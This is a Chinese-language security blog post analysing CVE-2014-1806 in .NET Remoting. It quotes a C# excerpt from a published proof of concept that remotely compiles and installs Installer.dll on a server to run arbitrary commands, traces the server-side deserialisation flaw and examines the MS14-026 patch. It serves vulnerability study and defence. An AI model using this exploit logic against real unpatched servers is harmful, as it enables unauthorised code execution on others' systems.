CVE-2014-1806 .NET Remoting Services漏洞浅析


0x00 简介


Microsoft .NET Remoting是一种分布式处理方式,提供了一种允许对象通过应用程序域与另一对象进行交互的框架。前几天James Forshaw发布了CVE-2014-1806 .NET Remoting Services的漏洞利用程序,花了一些时间对其进行一下简单的调试分析。

首先安装包含漏洞的.NET Framework v4.0.30319,执行poc代码,可以看到执行成功了。

0x01 分析


对poc代码进行分析,可以看到下面的代码CreateRemoteClass,其中MakeCall模板函数根据参数信息构建发送到服务器端的请求数据并得到服务器执行结果,其中static object SendRequest(object o, bool remote) 函数完成对象的序列化、协议数据包的构建发送以及执行结果的解析。

例如MakeCall(_uri.AbsolutePath, GetStaticMethod(typeof(Path), "GetTempPath"))是用于调用远程服务器中Path对象的GetTempPath方法,并返回执行结果。Poc中的代码用于在远端服务器中上传、编译RemoteClass.cs、IRemoteClass.cs、InstallClass.cs文件得到Installer.dll,然后安装Installer.dll,最终创建IRemoteClass的对象实体。在得到IRemoteClass对象之后,就能调用它的方法执行任意命令了。

private static IRemoteClass CreateRemoteClass()
{
    if (_useser)
    {
        return new SerializerRemoteClass();
    }
    else
    {
        string path;
        if (_uri.Scheme != "ipc")
        {
            IRemoteClass ret = GetExistingRemoteClass();

            try
           {
               ret.ToString();
               return ret;
           }
           catch (RemotingException)
           {
           }

           path = MakeCall<string>(_uri.AbsolutePath, GetStaticMethod(typeof(Path), "GetTempPath"));
          path = Path.Combine(path, "Installer.dll");
          CodeDomProvider compiler = MakeCall<CodeDomProvider>(_uri.AbsolutePath, GetCreateInstance<CSharpCodeProvider>());

          string uri = RemotingServices.GetObjectUri(compiler);
          CompilerParameters cp = new CompilerParameters();
          cp.ReferencedAssemblies.Add("System.dll");
          cp.ReferencedAssemblies.Add("System.Configuration.Install.dll");
          cp.OutputAssembly = path;

          cp.GenerateInMemory = false;
          cp.GenerateExecutable = false;

          string code = GetResource("RemoteClass.cs");
          string intf = GetResource("IRemoteClass.cs");
          string inst = GetResource("InstallClass.cs");

CompilerResults res = MakeCall<CompilerResults>(uri,new FakeMethod(typeof(CodeDomProvider).GetMethod("CompileAssemblyFromSource"), _ver), cp, new string[] { code, intf, inst });
          }
          else
          {
              path = typeof(IRemoteClass).Assembly.Location;
          }
          try
          {
             AssemblyInstaller installer = MakeCall<AssemblyInstaller>(_uri.AbsolutePath, GetCreateInstance<AssemblyInstaller>());
            installer.Path = path;
            installer.CommandLine = new string[] { "/name=" + _remotename };
            installer.UseNewContext = true;
            installer.Install(new Hashtable());
       }
       catch
       {
           // In the IPC case this might fail
           // Just continue on with the creation of the remote class and see if we're lucky            
       }
        return GetExistingRemoteClass();
    }
}

可以通过WireShark截包验证整个数据交互过程,其中包含文件的上传,服务端的%TEMP%目录下也相应的生成了Installer.dll。

为了了解服务端的数据处理流程,通过windbg对CreateProcessW设置断点,通过sos.dll扩展来观察程序的托管代码调用堆栈。

通过托管代码的调用栈,结合.NET Reflector对System.Runtime.Remoting.dll进行分析。

可以看到System.Runtime.Remoting.Channels.Tcp.TcpServerTransportSink.ServiceRequest方法通过ITransportHeaders requestHeaders = handler.ReadHeaders()和Stream requestStream = handler.GetRequestStream()获取了协议头和请求的对象流信息。

然后调用System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage方法 ,该方法中通过requestMsg = CoreChannel.DeserializeBinaryRequestMessage(uRI, requestStream, this._strictBinding, this.TypeFilterLevel)对请求的对象流进行反序列化,成功之后则调用System.Runtime.Remoting.Channels.DispatchChannelSink.ProcessMessage。

System.Runtime.Remoting.Channels.DispatchChannelSink.ProcessMessage中简单判断之后,直接调用了ChannelServices.DispatchMessage(sinkStack, requestMsg, out responseMsg)分发消息。

DispatchMessage中则只是通过IsMethodReallyPublic(methodBase)和RemotingServices.IsMethodAllowedRemotely(methodBase))判断了远端调用的方法是否允许,如果满足条件,则进一步处理,最终调用该方法。

整个过程中并没有对远端的身份进行有效性验证,而Remoting对远端提供的方法导致了可以通过CreateInstance 在服务端得到获取CodeDomProvider对象、通过CodeDomProvider的CompileAssemblyFromSource方法编译源码、安装Installer.dll,最后创建IRemoteClass类对象来执行命令的漏洞。

0x02 关于补丁


Microsoft 安全公告 MS14-026中提到针对该漏洞的安全更新是通过帮助确保 .NET Framework 为应用程序内存正确强制实施安全控件来解决漏洞,即采用了变通方法,仅允许经过身份验证的客户端与容易受到攻击的服务器进行交互。

通过给win7 sp1打NDP40-KB2931365-x86.exe补丁,对比打补丁前后的System.Runtime.Remoting.dll的System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage方法,可以看到多了如下图的一段代码。

执行之前的poc代码,将发现服务端抛出异常,由于allowTransparentProxyMessageValue的值为false,导致消息不会进一步被处理,与安全公告中描述的一致。如果allowTransparentProxyMessageValue的值为true,程序的处理流程与未打补丁时相同。

评论

X

xsser 2014-11-24 19:13:31

有什么办法跑出服务名么

C

cssembly 2014-11-24 19:33:43

之前看过资料里没有看到能够枚举服务名的方法

泳少 2014-11-24 23:21:39

不知道.net服务名也是个问题

路人甲 2014-11-25 23:47:38

学习中

雪碧0xroot 2014-11-28 16:16:05

啊稀吧

W

wefgod 2014-12-03 10:44:23

给力啊!服务名只能暴力猜了吧

C

cssembly

天资不足,勤奋有余!

twitter weibo github wechat

随机分类

无线安全 文章:27 篇
木马与病毒 文章:125 篇
iOS安全 文章:36 篇
XSS 文章:34 篇
安全管理 文章:7 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录